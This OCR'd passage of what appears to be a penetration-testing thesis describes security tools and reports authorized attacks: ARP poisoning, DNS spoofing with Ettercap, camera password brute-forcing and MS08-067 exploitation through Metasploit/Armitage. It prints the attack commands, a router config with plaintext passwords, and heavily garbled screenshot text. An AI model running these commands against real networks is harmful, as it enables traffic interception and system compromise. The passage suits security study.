02/66-08:04:24.118246 [»=] [1:499:3]1 ICMP Large ICMP Packet [»x] [Classificatio
n: Potentially Bad Trafficl [Priority: 21 {ICHP> 192.168.0.18 -> 192.168.06.261
02/86-08:84:25.119651 [»x] [1:499:3]1 ICMP Large ICMP Packet [»%] [Classificatio
n: Potentially Bad Trafficl [Priority: 21 {ICHP> 192.168.8.201 -> 192.168.8.168
02/06-08:04:25.120761 [»x] [1:499:31 ICMP Large ICMP Packet [»%] [Classificatic
n: Potentially Bad Traffic] [Priority: 2] {ICMP> 192.168.8.180 —-> 192.168.6.261
02/86-08:04:26.119631 [=»] [1:499:3]1 ICMP Large ICMP Packet [»x] [Classificatio
: Potentially Bad Trafficl [Priority: 21 {ICHP> 192.168.0.261 -> 192.168.06.18
02/06-08:04:26.120806 [¢] [1:499:3] ICMP Large ICMP Packet [¢] [Classificatio
n: Potentially Bad Trafficl [Priority: 21 {ICHMP> 192.168.8.180 -> 192.168.08.261

Figure 3.21 ICMP alert on Snort interface (Snort Example, 2004)

Snort tool can be used in three modes:

e Sniffer mode can monitor network packets and display them on the screen
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e Packet logger mode can log packets to the screen and log file
e Network intrusion detection mode can monitor and analysis traffic against

rule based created by the user

The utility is a signature-based analysis tool that it can analyse and warn the user

if the network traffic pattern is matched with the written rule, (Snort, 2015).

For starting this tool, firstly, WinPcap should be installed. And after installing
Snort, you have to configure Snort configuration file, rules file and alerts and logs.
After those, it is better to run Snort as a service.

3.24 Sglmap

Sglmap (2015) is explained by the developer as an open-source SQL injection
tool. The main reason to use this tool is to exploit SQL injection flaws and reveal
unauthorized information from the database. This utility is well-used SQL injection
tool by penetration tester on tests for specific features such as database
reconnaissance and flexibility to execute commands on the database servers. An

example usage of Sqlmap is given in Figure 3.22.

$ python sqlmap.py -u "httpi//target/vuln,php?id=1" --batch

ithout prior mutual
ey all applica
sume ho liability and are not res
rogran

[15:02:08] [ INFO] hewistic (basic) test shows that GET parameter 'id' might be
injectable {possible DBHS: 'HySOL')

Figure 3.22 An example usage of Sqlmap tool (Sglmap, 2015)
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This tool supports for many database management systems such as MySQL,
Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQL.ite,
Firebird, Sybase, SAP MaxDB and HSQLDB. It supports for six SQL injection
techniques:

e Boolean-based Blind SQL injection
e Time-based Blind SQL injection

e Error-based SQL injection

e UNION Query-based SQL injection
e Stacked queries SQL injection

e Qut-of-band SQL injection

Sqglmap tool can detect database names, tables from specific databases and

columns from specific tables when an SQL injection flaw exists, (Sqlmap, 2015).

3.25 Uniscan

Uniscan (2014) is a vulnerability scanner which can perform local and remote file
scanning include remote command execution. It is so simple to test vulnerabilities on
a public domain with adding specific parameters like "-g" and "-w". Graphical user

interface of this tool is available. Directory and dynamic scan are also possible.

With the help of this tool, a penetration tester can scan a web page about directory
and file check, “robots.txt” and “sitemap.xml” check, dynamic, static and
stress check and also Google and Bing search. Besides this, e-mails about the domain
name, SQL injection and XSS vulnerabilities and more are obtained within the test.
Search results will be saved to a directory. The usage of Uniscan tool is given in
Figure 3.23.
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root@msckl: ~/Masausti/tools/uniscan e o 0

Dosya Duzenle Gorunum Ara Ucgbirim Yardim

OPTIONS:

ww.example.com/ -qweds

t -bgweds

2/ /www . example.com/

Figure 3.23 Usage of Uniscan

In order to test a domain for obtaining vulnerabilities, the command given below

is enough to retrieve results:

Perl uniscan -u www.domain.com -gweds

Here, “www.domain.com” is the web address of the target and the parameters are

displayed in Figure 3.23.

3.26 Wireshark

Wireshark (2015) is defined by the developers as an advanced network protocol
and traffic analysis software. It is supported by many platforms such as Windows,
Linux, OS X, Solaris, FreeBSD and NetBSD. This software can analyse the traffic
very deeply. Wireshark utility has many advanced features like deep inspection of
protocol, live capture and offline analysis of network traffic. Saved network traffic
can be opened via Tshark tool or graphical interface. Many file formats are supported
by this tool and outputs like XML, CSV and plain text are possible to be exported by
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Wireshark. Screenshot of Wireshark software is given in Figure 3.24.

File Edit View Go

Capture  Analyze Statistics Telephony Wireless Tools Help

mie XRERe=s=FsEEqaan
| l Apply a display filter Ctrl =3 '] Expression...
No. Time Source Destination Protocol Length Info

46 10.689374
47 10.928494

64.233.166.189
192.168.2.128

192.168.2.128
64.233.166.189

TCP
TLSv1.2

54 443 5 37952 [ACK] Seq=145 Ack=47 Win=5@1 Len=0@
287 Application Data

48 10.992875 64.233.166.189 192.168.2.128 TCP 54 443 » 37952 [ACK] Seq=145 Ack=28@ Win=522 Len=0@
49 10.998191 64.233.166.189 192.168.2.128 TLSv1.2 126 Application Data
5@ 16.999519 64.233.166.189 192.168.2.128 TLSv1.2 114 Application Data
51 106.999586 192.168.2.128 64.233.166.189 TCP 54 37952 » 443 [ACK] Seq=28@ Ack=277 Win=63 Len=0@
52 11.274351 192.168.2.128 s50f@1512-in-f14.1el.. TLSv1.2 237 Application Data
53 11.274527 192.168.2.128 s0f@ls12-in-f14.1el.. TLSv1.2 152 Application Data
54 11.302955 sof@ls12-in-f14.lel.. 192.168.2.128 TCP 54 443 » 38157 [ACK] Seq=740 Ack=642 Win=431 Len=@
55 11.309059 sof@ls12-in-f14.1el.. 192.168.2.128 TCP 54 443 5 38157 [ACK] Seq=74@ Ack=748 Win=431 Len=0
56 11.511978 sof@ls12-in-f14.1el.. 192.168.2.128 TLSv1.2 129 Application Data

57 11.51483@
58 11.514993
59 11.515807
6@ 11.515954
61 11.516042
62 11.517439

sof@ls12-in-f14.1el..
192.168.2.128
s0f@ls12-in-f14.1el.
sof@ls12-in-f14.1el..
192.168.2.128
192.168.2.128

192.168.2.128

sof@1s12-in-f14.1el.

192.168.2.128
192.168.2.128

sof@ls12-in-f14.1el.
sof@ls12-in-f14.1el.

TLSv1.2 1474 Application Data

TCP
TLSv1.2
TLSv1.2
TCP
TLSv1.2

54 38157 = 443 [ACK] Seq=74@ Ack=2235 Win=64 Len=0
226 Application Data
100 Application Data
54 38157 > 443 [ACK] Seq=74@ Ack=2453 Win=64 Len=0@
100 Application Data

63 11.541983
64 12.018084
65 12.082967

sof@ls12-in-f14.1el.. 192.168.2.128 TCP
192.168.2.128 google-public-dns-a.. DNS
google-public-dns-a.. 192.168.2.128 DNS

54 443 » 38157 [ACK] Seq=2453 Ack=786 Win=431 Len=8

|~

87 Standard query @x6cf5 PTR 189.166.233.64.in-addr.arpa
121 Standard query response @x6cf5 PTR 189.166.233.64.in-ad
>

Frame 1: 85 bytes on wire (688 bits), 85 bytes captured (688 bits) on interface @

Ethernet II, Src: 192.168.2.1 (@0:1c:a8:75:el:c@), Dst: IntelCor_3c:89:99 (60:6c:66:3c:89:99)

Internet Protocol Version 4, Src: 6.97.a86c.ip4.static.sl-reverse.com (108.168.151.6), Dst: 192.168.2.128 (192.168.2.128)
Transmission Control Protocol, Src Port: 443 (443), Dst Port: 37311 (37311), Seq: 1, Ack: 1, Len: 31

Secure Sockets Layer

Figure 3.24 Screenshot of Wireshark interface

Wireshark can read data from many sources like Ethernet, IEEE 802.11 or USB.
VolIP analysis is also supported by this tool. This software supports decryption
including IPsec, Kerberos, WEP and WPA. For ease of analysis, Wireshark colours
the line according to different protocols, (Wireshark, 2015).

3.27 XArp

XArp (2015) is explained by the owner as an ARP attack detection tool.
Advanced ARP detection techniques are used to perform this goal. An attacker can
be detected by this security application while performing ARP spoofing attack from
LAN devices. The attacker may reveal critical information like login credentials or
modify data via ARP based attack. Security applications like Firewall or antivirus
can not detect this type of attacks so any protection is occurred against this attack in

a network.

This tool is free to use and install on Windows and Linux platforms. Performing
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this type of attack inside a network is easy but effective. Therefore, ARP spoofing
attacks should be detectable on a corporate network. This tool is used to detect ARP
attacks and monitor network. No detection of ARP spoofing by XArp example on a
network is given in Figure 3.25.

XArp Professional

File XArp Professional Help

S

192.168.13.1 00-50-56-c0-00-08 A58938BX12404 Vmware, Inc. .. unkno...
192.168.13.254 00-50-56-e0-4a-59 192.168.13.254 Vmware, Inc. O3 - VMware ...  unkno...
192.168.43.1 5c-0a-5b-93-2a-97 192.168.43.1 unknown 0x5 - Microsoft  unkno...
192.168.43.150 00-16-ea-7a-25-06 A58938BX12404  Intel Corporati... 0x5 - Microsoft  unkno...
192.168.184.1 00-50-56-c0-00-01 A58938BX12404  Vmware, Inc. Oxb - VMware ...  unkno...
192.168.184.254 00-50-56-e3-7c-27 192.168.184.254  Vmware, Inc. Oxb - VMware ...  unkno...

Figure 3.25 ARP spoofing detection with XArp
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CHAPTER FOUR
NETWORK ATTACKS

In attacks, many methods and tools are used together. The reason of using these
tools and methods nested together is to simulate real hacking attacks just like in real
life. Networks attacks were selected from the combination of chapter 2.4 and 2.5.

Before doing penetration tests, all permissions were taken from corporate
networks and legal issues were handled. There were deciphered important
information about corporate networks. Because of being critical information about
networks and systems, some crucial information such as network IP, computer IP
and web site domain names were censored. All findings while performing
penetration tests on corporate networks were also reported to the system or network

administrators of networks.

In this section, seven types of network attacks included in Chapter 2.5 are

examined and explained in detail. They are;

a) ARP poisoning attack for capturing images with Driftnet

b) DNS spoofing attack

¢) Misconfigured Cisco device vulnerability

d) The reconnaissance and scanning attack

e) UPnP scan with Miranda and production camera monitoring

f) Vulnerability scan by Nmap Script and system exploit with Armitage

g) Wireless network security cracking

4.1 ARP Poisoning Attack for Capturing Images with Driftnet

In this attack, the goal was to capture images from wireless network of corporate

network while the penetration test was performed from LAN. Because of doing this,
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ARP poisoning which was performed by Ettercap and Driftnet were used. ARP
poisoning to all network devices is given in Figure 4.1.

ettercap 0.8.2 e e 0

Start Targets Hosts View Mitm Filters Logging Plugns Info

Host List »

P Address MAC Address Description

192.168.1.1 88:41FC

192 168.1.118 1C:B87:2¢

fe80:b4a:1323:60d41:4b9 D0:16:EA

192.168.1.134 SC:0A:58

192.168.1.154 10:FE:ED

192.168.1.176 D0 16.EA

192.168.1.195 00:0C:29

Delete Host Add to Target 1 Add to Target 2

DHCP: [00:08:22 REQUEST 1921681132
DHCP: [192.168 1 1] ACK: 192,168 1.132 255.2552550GW 192.168.1.1 DNS 192.168.1.1
DHCP: [48.:50:60 DISCOVER
DHCP: [48:50.60 REQUEST 192,168 1,135
DHCP: [94:94:26 REQUEST 192.168.1.175

Figure 4.1 ARP poisoning across the network

After ARP poisoning, every device on the network was told wrong MAC address
of default gateway. The MAC address of attacker was offered to replace with the
MAC address of default gateway. The reason of doing this was to intercept the

unsecure communication between clients and the gateway.
Driftnet is a tool that for capturing images like JPEG and GIF from wireless

network. This command is easy and powerful that if anyone wants to capture images

from your network, it is easy to achieve this goal. In order to start Driftnet tool, the
command

driftnet -b —-i wlanO

Here, “w1an0” is the sniffing interface of device, “~1i” is used to set sniffing

interface of the device, it is given in Figure 4.2.
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root@msckl: ~ e © 0

Dosya Duzenle Gorunum Ara Ucgbirim Yardim

warning:
warning:
warning: image c

warning: image data too small

warning: image data too smal

image data too smal

image da

'ning:

Figure 4.2 Using Driftnet for capturing images

After using Ettercap and Driftnet tools simultaneously, copy of the images
transferred over the wireless network were displayed on Driftnet screen (Figure 4.3).

driftnet e ® 0

““AL A A

.

Figure 4.3 The result of using Driftnet
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As a result, all images were successfully captured from the wireless network

successfully and can be saved to /tmp/driftnet” directory as in Figure 4.4.

> 1 5 ¥

driftnet- driftnet- drftnet- driftnet- driftnet-
5609112042c296b 5609112051d9¢56 56091120098a314 56091120100f8fc 56091120168el21
d.jpeg 4.jpeg 8.)peg a.peg f.jpeq
- =
- o7 v LT
ks 7 w o @i
dnftnet- driftnet- driftnet- driftnet- driftnet-
56091120540a471 56091120661e3f1 56091120799d024 56091121613efdc 5609112015014ac
cpeg €.Jpeq 7.jpeg S.jpeq b.jpeg

1l |4 L

s ] - -
driftnet- driftnet- driftnet- driftnet-
5609112111447b7 5S60911201381823 560911206590700 S60911206157409

Figure 4.4 Saved images

By using both tools, Ettercap and Driftnet, ARP poisoning and image capturing
were performed perfectly on wireless network of a company. As it can be seen, this
attack is dangerous when sensitive and important image are transferred on a wireless
network. An attacker may sniff the images and videos on a corporate network across

the wireless network.
4.2 DNS Spoofing Attack

In this attack type, the IP address of web pages on LAN can be easily
manipulated. This test was performed inside the company. In order to achieve,
someone may be deceived and manipulated to another fake web pages for taking
credit card information or e-mail login credential. Since, changing DNS records
without touching DNS server can be a serious problem in a network, this situation is

very dangerous.
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Firstly, DNS record of mynet.com was changed to the IP address of google.com
which was 216.58.209.206. These changes were done in the “etter.dns” file

which was located in the Ettercap directory (Figure 4.5).

tings Help
/usr/local/sha rcap/etter.dns Modified NS

Figure 4.5 Changing of etter.dns

As it can be seen in Figure 4.6, Ettercap was used to do DNS spoofing on a
corporate network. Here, the command below started the spoof process to the whole
network.

ettercap -T -q -i eth0 -P dns spoof -M ARP // //

Here, “-T” denoted text based interface, “-g” run the command in quite mode,
“—1” selected the device interface, “-P” selected the relevant plug-in and “-M”

selected the protocol. Also, “// //” defined that whole network was selected as
the target.
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Figure 4.6 DNS spoofing with Ettercap

After this command, Ettercap was starting to do DNS spoofing. From now on,
someone who wanted to visit a web page or a subdomain of Mynet.com was
forwarded to 216.58.209.206 IP address which was actually Google.com (Figure
4.7).

Figure 4.7 The proof of spoofing
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After the DNS spoofing attack, anyone who wanted to visit a web page was
successfully spoofed to another web page, which was in this case “google.com”

(Figure 4.8). The proof of DNS spoofing by using “Ping” command (Figure 4.9).

&« O Mynetcom v g = @ G

Google

(]

Kendimi Sansh Hissediyorur

Figure 4.8 Spoofed web page

Figure 4.9 was the proof of the success of spoofed IP address.

C:\Documents and Settings\test2ping mynet.com -t
32 bayt veri ile nynet.com [216.58.289.2061 ’ping’ ediliyow:

cevaba: 2 = s TTL=55
- cevabi: b: Y ire=45ms TTL=4L5
A9.206 cevabi: b 2 ire= s TTL=55
.286 cevaba: ire=45ms TTL=55
.286 cevabi: bayt~: 45ms TTL-55
.286 cevaba: ire=53ms TTL=55
.286 cevabi: b ¢ i TTL=55
.286 cevaba:
.2086 cevaba:
.286 cevaba:
.286 cevaba:
.286 cevaba:
.206 cevabai:
.286 cevaba: b
49 .206 cevaba:
.286 cevaba:
.286 cevaba:
.206 cevaba:
.286 cevaba:

Figure 4.9 Spoofed IP address

4.3 Misconfigured Cisco Device Vulnerability

Using a security device such as Firewall, IPS and IDS and router device is a must
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but misconfiguration of these devices can lead serious problems as well as
administrator passwords compromise. Sometimes, forgetting a check enabled or

disabled may disclosure very important information on a corporate network.

In this attack, Nessus was used and after scanning the network from WAN over
internet, a misconfigured Cisco device was found on a corporate network (Figure
4.10). After visiting this corporate URL, anyone can see that important router
information was revealed (Figure 4.11). In this example, IP address and subnet mask

information were censored because of security purposes.

Apache 2.2.x < 2.2.28 Muitiple Vulnerabilities Web Servers

Apache HTTP Server Byte Range DoS Web Servers
HIGH Cisco |0S HTTP Configuration Unauthorized Administrative Acc. CIsCO

MS12-020: Vulnerabilities in Remote Desktop Could Allow Rem. Windows

Figure 4.10 Nessus result for misconfigured Cisco device

interface FastEthernet0/12
1

interface GigabitEthernet0/1
]

interface GigabitEthernet0/2

1

interface VLAN1

ip address 1 4.2 .6 .2 255.255.255.0
no ip directed-broadcast

no ip route-cache
1

ip default-gateway 1 4.2 .6 .1
snmp-server engineID local 0000000902000004S9ABDS000
snmp-server community private RW
snmp-server community public RO
snmp-server community snmpcommi@esl RO
]

line con 0O

exec-timeout 0 O

transport input none

stopbits 1

line vty 0 4

password zcisco

login

line vty S5 15

password zcisco

login

1

end

Figure 4.11 Misconfigured Cisco device information disclosure
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Seeing router configuration was also possible to execute arbitrary commands
on the remote Cisco router. An attacker may leverage this issue to disable network

access via this device or lock legitimate users out of the router.

4.4 The Reconnaissance and Scanning Attack

The reconnaissance and scanning phase was the most time consuming and
important phase of the penetration test. After the completion of these two phases,
anyone had more knowledge about the corporate network such as network
infrastructure, IP blocks, corporate e-mails, web pages, production license keys,
cameras, printers, network scanners, video communication systems, end of life
operating systems and moreover misconfigured FTP address, misconfigured web
pages open to the internet, misconfigured phpMyAdmin for managing MySQL

services and backups inside FTP site.

In general university network infrastructures are enormously big and also has big
problems. In order to realize reconnaissance attack and scan a network, a university
network was selected. In the university reconnaissance, scanning and attacking
phases all critical information such as name, IP address, the name of the web site

were censored. All processes were carried out under the supervision of the IT office.

Although, many security problems were found during the scanning process, only
the most important ones were included in this study. The scanning process were
performed with Nessus, Nmap, Uniscan and Acunetix Web Scanner from outside the
university network. The attacks of this part were performed via Nmap network scan
to the relevant IP block of network. Firstly, the scanning process of the relevant IP

block on 80™ port of university network is executed by below Nmap command;

nmap -T4 -A -v 19x.xxx.xxx.14

A hacked webpage was found, which hosted on university network. It might be a

simple interface defacement or be a hacking of an important server located on the
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network (Figure 4.12).

. /Hacked

Figure 4.12 Hacked webpage on university network

Another finding was database of a software in a FTP webpage format (Figure

4.13). This was also achieved by scanning IP block via Nmap following command;

nmap -T4 -A -v 19x.xxx.xxx.192

Index of /backups

Name Last modified Size Description
: Parent Directory
(£32014_backups 2015-07-11 00:57
[.:..3 2015_backups 2015-08-10 19:35
[:a sql_backups 2015-08-16 00:54

@ bilgiler_telefon tur.. 2015-08-02 16:50 1.3K
@ nobet_grup_turleri-t 2015-08-02 16:49 1.2K
@ nobet_gruplari-tabel. .= 2015-08-03 12:38 2.0K
@ nobet_gruplari-tabel..= 2015-08-04 15:21 2.0K
@ nobet_gruplari-tabel..= 2015-08-09 23:43 2.0K
@ personel gorev_verle.= 2015-07-26 03:15 1 4K

@ personel _unvanlari-t. = 2015-07-13 15:32 1 4K
@ personel unvanlari-t. = 2015-08-02 14:55 14K

Figure 4.13 SQL backups inside FTP page
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In the discovered FTP page shown in Figure 4.13, a webpage was hosted. It was
designed for an internal portal (Figure 4.14). Anyone can enter and manipulate this

application with all privileges of an administrator.

i
i e & Disan Aktar v o

Figure 4.14 Login webpage as a different person

In the public FTP of university, there was SolidWorks license of 2014 software.
This license can be viewed by everybody shown in Figure 4.15. This kind of
important license key or executables should not be resided on a public FTP. The

problem was that this license was open to access for everybody.

« = 0O
/muhendis/SolidWORKS/Lisanslar/2014/ iizerinde FTP dizini edu.tr

Ust duzey dizinine

Figure 4.15 License key shown by publicly

Another security problem was found during the scanning of university network. It
was seen that the video communication terminal is captured after the attempt to login
that terminal by using “administrator” and default password. (Figure 4.16). It
was no doubt that after successful logon, anyone can do everything with
administrator privileges. An attacker can monitor the communication and may listen

or watch the sessions done by this device.
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DO ERaEE

PCS-G70

Al: IP v
A2: P v
Bl: F
B2: P v
Cl: P
C2:

Line I'F: P v
LAN Bandwidth: 1024 Kbps

DIAL /| DISCONNECT || CLEAR |

Figure 4.16 Video communication device

Another security hole on the network was found at the information screen
distributed over the campuses was given in Figure 4.17. Here, this screen gave
information about lunch to the people who wanted to take lunch at there. But, this
was open over internet and everybody can visit. A hacker can put a malicious image

of a terrorism organization or can deface as he desires.

YEMEKHANE
12.10.2015 Pazartesi

1.KAT MISAFIR YEMEK ADEDI

250

MENU : IZMIR KOFTE, MAKARNA, YOGURT, MEYVE ---
AFIYET OLSUN

Figure 4.17 Cafeteria notification screen
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The worst discovery of the scanning was open phpMyAdmin interface of an
official university webpage. This was really bad situation that every content, news,
announcement and much more the passwords of the administrators were open to the
internet. Adding, deleting, altering and manipulating data were possible via this
security hole. This area must be strictly closed to the end user of course to the
internet. These are given in Figure 4.18, 4.19 and 4.20.

phpMyAdmin

il Veritabanlan [/ SQL & Durum =7 Kullamcilar 3 Disa Aktar

2 s 00 @

(Son tablolar) v |
T = Sunucu baglantis karsilagtimasi ' ufg _general_ci v

4 Information_schema

g mysql
1 performance_schema

3 &’ Dil - Language @ - | Tirkge - Turkish v
@3 Tema:l pmahomme ¥ l

A * Yaz) Tipi boyutu | 82% v |

1 xtbadmin & Daha fazla ayariar
4 yuk

Figure 4.18 phpMyAdmin interface of a webpage

phpMyAdmin
W Yapr [ SQL <4 Ara 4 Sorgu 3 Disa Aktar | |=} ice Aktar
Tablo . Eylem Satr

: { o) duyuru J Gozat 4 Yapi & Ara 3¢ Ekle §g Bosalt @ Kaldir _
|| ehaber |7] Gozat r Yapi g Ara Fe Ekle G Bosalt @ Kaldir

I & ' () enstitular [ Gozat 34 Yapi &% Ara 3¢ Ekle g Bogalt @ Kaldir

D8 @00 @

’ (Son tablolar)

|| duyuru | eskiduyuru | | Gézat 4 Yapi 4 Ara 3¢ Ekle G Bosalt @ Kaldir
(55 saher ] haber [ Gézat 4 Yap @& Ara 3¢ Ekle @ Bosalt @ Kaldir
S :::t“';‘:m ) kullamici |7 Gézat 4 Yapi ¢ Ara 3¢ Ekle @ Bosalt @ Kaldir
] haber () mesajlar || Gozat 34 Yapi % Ara 3¢ Ekie @ Bosalt @ Kaldir
| kullanici | sayfalar [ Gozat s Yap: ¢ Ara 3¢ Ekle G Bosalt @ Kaldir
|:7] mesajlar 8 tablo Toplam
|| sayfalar

1t TOmGnG Sec / Hicbirini Secme [ Secilileri: v
() Tablo olugtur -

@& Bask: gorunome % Veri s6zlogu

Figure 4.19 Disclosure of database tables
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— e —
L%i“:’.] ocaihast » @ > kullanici

php el =
Gozat 7t Yam SO Ara Zi_‘: Ekie ws Disa Akt - i;r Aktar
4 o >
o Gostedlen satidar 0 - 1( ~2 toplam 43 . Sorgu 0.0002 san 50rda)
on tablotar v
v
SELECT
At FROM ku
3 LiMIT

ehaber
enstitular
eskiduyuru
haber
Kkullanici Goster : Baslanqic satu Salir sayis ) Hee | 100 satirda bir bashkla
mesajlar
sayfalar L gore YOk by

3 Tablo clugtur 5

= [ v id kullaniciAdi adiSoyadi sifre

»< - - F 44 £
Duzente 3¢ Kopyala 17 M

Figure 4.20 Disclosure of users and passwords

4.5 UPnP Scan with Miranda and Production Camera Monitoring

In this attack, the goal was to hack working cameras located at a company and to
capture images from these cameras via LAN. This test was performed inside the
network. Because of this, UPnP devices on the network were searched. For this

purpose, the tool Miranda was used to find all UPnP devices (Fig. 4.21).

Dosya Dizenle GorinUm Ara Ucbinm Yardim

miranda

e

T T I S

, UPnP/

K/1.1

T R L T S

I

ce is running 3.4.6 ¢ Mi f OV : \ DMS/1
2.0. 1.17514 DLM 2/ 1 UPnP/ ON 1.0
HEREERERERERERR RN TR TR T R RERRRE R TR R RN TR TR RN R TR RNk

Figure 4.21 Searching UPnP devices with Miranda
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After the search, all found UPnP devices were listed by using the command

“host 1list” (Fig. 4.22). Here, the IP addresses were intentionally censored.

root@msckl: ~ e ® 0

Dosya Duzenle Gorunum Ara Ucbinm Yardim

upnp> host list

Figure 4.22 IP address and Port numbers of found UPnP devices

Here, as it can be seen from Figure 4.22, many devices with their own IP
addresses and port numbers were found. Since, the target was cameras so the focus
was directed to the XML file of the port number which was 80. The other ports such
as 49152, 9000, 8200 and 5555 were used by network printer, scanner and other
devices. In a network, when port 80 is used, it should be thought that there can be a
web portal, an active network device management page or camera management page.
In a corporate company, all information about printer, scanner or active network

devices are really important and must be kept confidential.

After this evidence, the only thing that should be fulfilled was to visit XML pages
to find camera information. Besides this, XML information were found by using
Miranda can be publicly accessed and had very important information about device,

brand, model and number and serial number. The name of such kind of pages were
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“upnpdevicedesc.xml”, therefore by entering this file name with the target IP
address together on the browser, it was seen that UPnP information of the target IP
camera with model number DP-22CD2854FE was accessed (Fig. 4.23).

¢ 4 0.208/upnpdevicedesc.xm v B G

fifiMost Visited ¥ [JOffensive Security "\ Kali Linux "\ Kali Docs "\ Kali Tools KPExpioit-DB Wy Aircrack-ng

WU UILIUULCaI UV AUV Y vViiouaonouraevoanr v o

<manufacturerURL>http:/fwww.upnp.com</manufacturerURL>

<modelDescription ﬂﬁ%ﬂmodemescription>

<modelName>UPNP DP-22CD2854FE </modelName >

<modelNumbermlmodemuml)er>

<modelURL>http://www.upnp.com</modelURL>

<serialNumber>423080547 </serialNumber>

<UDN>uuid:Upnp-DP-22CD2854FE-1_0-423090547 </UDN>

—<servicelList>
—<service>
—<serviceType>
urn:schemas-upnp-org:service:EmbeddedNetDeviceControl:1
</serviceType>
<serviceld>urn:upnp-org:serviceld:EmbeddedNetDeviceControl</serviceld >
<controlURL>/</controlURL>
<eventSubURL>/</eventSubURL>
<SCPDURL>/</SCPDURL>
</service>
</servicelList>
<presentationURLShttp:// .0.208:80k/presentationURL>
</device>
<froot>

Figure 4.23 UPnP XML information

Here, it can be seen from Figure 4.23, it was obvious that there was an IP camera
on that IP. When entering that IP address was done the management page of camera

was viewed as shown in Figure 4.24.

@ Login X BB = o
e ) ‘ .0.205/doc/page/login.asp % ‘ = @
English v
User Name [admin |
Password |o.ooo[ |
Login

Figure 4.24 IP camera management page
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Now, for cracking passwords, Brute Force attack was preferred to try the default
password of that IP camera and the most used password for admin user. After trying
the 71" password which was “12345”, the correct password was found and the image
from production location from company was taken as given in Figure 4.25. Besides,

an attacker can manage the camera with administrator privilege via this interface.

DP-22CD2854FE Q Ewen

Live View Playback Log Configuration & =mmn | @ Logout

W SudSveam Man Syoam

09-16-2015 Hed®

Figure 4.25 Hacking camera from production Company

Same procedure was applied to another camera listed with UPnP search, but the
result was dangerous: same password was used for all cameras. If a hacker captures a
password of one of the cameras then he can capture whole camera infrastructure
from that company. Here, the risky thing was that company has nearly 175 cameras
including management and AR&GE department cameras. The important and critical
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Images can be captured by unwanted visitors. The other image from a production
camera is given in Figure 4.26.

G o= 8
@ Uer v «
DP-22CD2854FE @ Enpsn
Live View Playback Log Configuration & wami  Logost

o« | N SubSteam Man Sream X

Camera 01

s & r— ¢ @ @ ]

Figure 4.26 Another image from production camera

4.6 Vulnerability Scan by Nmap Script and System Exploit with Armitage

In this attack, the target was to find TCP 445 port SMB vulnerability on a large
network from inside rapidly. Since finding a vulnerability on 445" port on a network
means that those machines can be exploited. This vulnerability is also known as
“CVE-2008-4250" wvulnerability and Microsoft published “MS08-067 Microsoft
Security Bulletin” to patch this vulnerability. This is a very dangerous vulnerability
because a system which has this vulnerability can be compromised very easily. On a
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large network, it takes long time to search this one by one, in order to pass this
bottleneck Nmap script was used to search this vulnerability rapidly across the whole
network, after finding a system which has this vulnerability then Armitage was used

to exploit this system. Nmap script usage for performing attack is given in Figure
4.217.

Dosya Dizenle Goriinim Ara Ucbirim Yardim

:~# nmap --script smb-check-vulns.nse -p445 10 1-200 --script-arg
s=unsafe=1

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-10-05 12:44 EEST
Nmap scan report for aysegul 1td (10 2)

Host is up (0.0011ls latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

MAC Address: 00:24:8C:BC:32:1C (Asustek Computer)

Host script results:

| smb-check-vulns:

| MSE8-067: NOT VULNERABLE

| Conficker: Likely CLEAN

| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE

| MSE6-025: NO SERVICE (the Ras RPC service is inactive)

| MSE7-029: NO SERVICE (the Dns Server RPC service is inactive)

Figure 4.27 Nmap script usage for finding vulnerability

After this command, the result was listed to the screen that a system named

“kiosk-pvc” device was vulnerable for attack, as shown in Figure 4.28.

Nmap scan report for kiosk-pvc.

Host is up (-0.070s latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

MAC Address: 00:87:40:31:1E:20 (Unknown)

Host script results:

| smb-check-vulns:

| MSE8-067: VULNERABLE

| Conficker: Likely CLEAN

| SMBvZ2 DoS (CVE-2009-3103): NOT VULNERABLE

| MS06-025: NO SERVICE (the Ras RPC service is inactive)

| MSO7-029: NO SERVICE (the Dns Server RPC service is inactive)

Figure 4.28 Vulnerability found by Nmap test result

Here, there was a vulnerable device found by Nmap and this device can be

exploited with Armitage tool. Armitage is an exploitation tool has graphical interface
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and no need to know Metasploit commands for exploiting. The processes are done by
this tool automatically. The next thing was adding this vulnerable device to the host
device part of the Armitage tool and selecting MS08-067 as an attack vector marked

in a red box as shown in Figure 4.29.

* [ sunhary
> (8 exploit
* [ payload
» (8 post

> set LPORT 8944

> Set RPORT 445

msf exploitl( > set RHOST 10. .56
RHOST => 10. D6

msf exploit( > set SMBPIPE BROWSER
SMBPIPE => BROWSER

ms! exploit( > exploit -j

Figure 4.29 Add a vulnerable host to Armitage tool

After starting exploitation, the vulnerable device was exploited successfully by
Armitage as a privileged account SYSTEM and a Meterpreter session was opened as

shown in Figure 4.30. The successful exploitation was marked in a red box.

From now on, a hacker can do everything on that computer because it was
exploited with a privileged account. Creating a user and adding this user to the
“administrator” group, information leakage or dumping keystrokes from this
system were possible. In this network, neither IPS nor IDS were located in the
network. As an example, the screenshot was taken from this system remotely and

shown in Figure 4.31.
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Armtage \vew Hosts Attacks Workspaces H

> & awdiary
» i explon
» @ payios

> g‘pc'st n'

iny
10.

o0

NT AUTHORITY\SYSTEM @ KIOSK-PVC

-w

[ Console X | Scan X lreabl;ﬂi XA\[

[*] Exploit running as background job,
| Started bind handler
[*] Automatically detecting the target...
Fingerprint: Windows XP - Service Pack 3 - lang:Turkish
Selected Target: Windows XP SP3 Turkish (NX)
Attempting to trigger the vulnerability...
| Sending stage (885806 bytes) to 10, 56
| Meterpreter session 1 opened (10, :29:47198 -> ' ,56:8944) at 2015-10-05 13:02:02
+0300
msi exploit( ) >

Figure 4.30 Successful system exploit with Armitage

Armitage
Armitage View Hosts Attacks Workspaces Help
> (& auxiliary
» (& exploit
» (& payload
» (& post

- wv

[ console X | Scan X [ exploit X IScreenshot | X |

-

BARKOD ok -

PAKET TIPI | siceac

PALET | MAKARA | KAMGAL | DRON \mm 7 8 9

ONA| n | <il

Figure 4.31 Screenshot of the remote system

As shown above, this attack type was very dangerous. If this happened, critical
and important information would have been compromised about corporate company.

The other important knowledge about MS08-067 is worm issue. If a network has
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worms on a corporate network, then it remarks that there is one or more vulnerable
devices which has MS08-067 vulnerability. The most critical precaution is to update
the systems constantly. Operating system or 3" party application updates are

released for current vulnerabilities.

4.7 Wireless Network Security Cracking

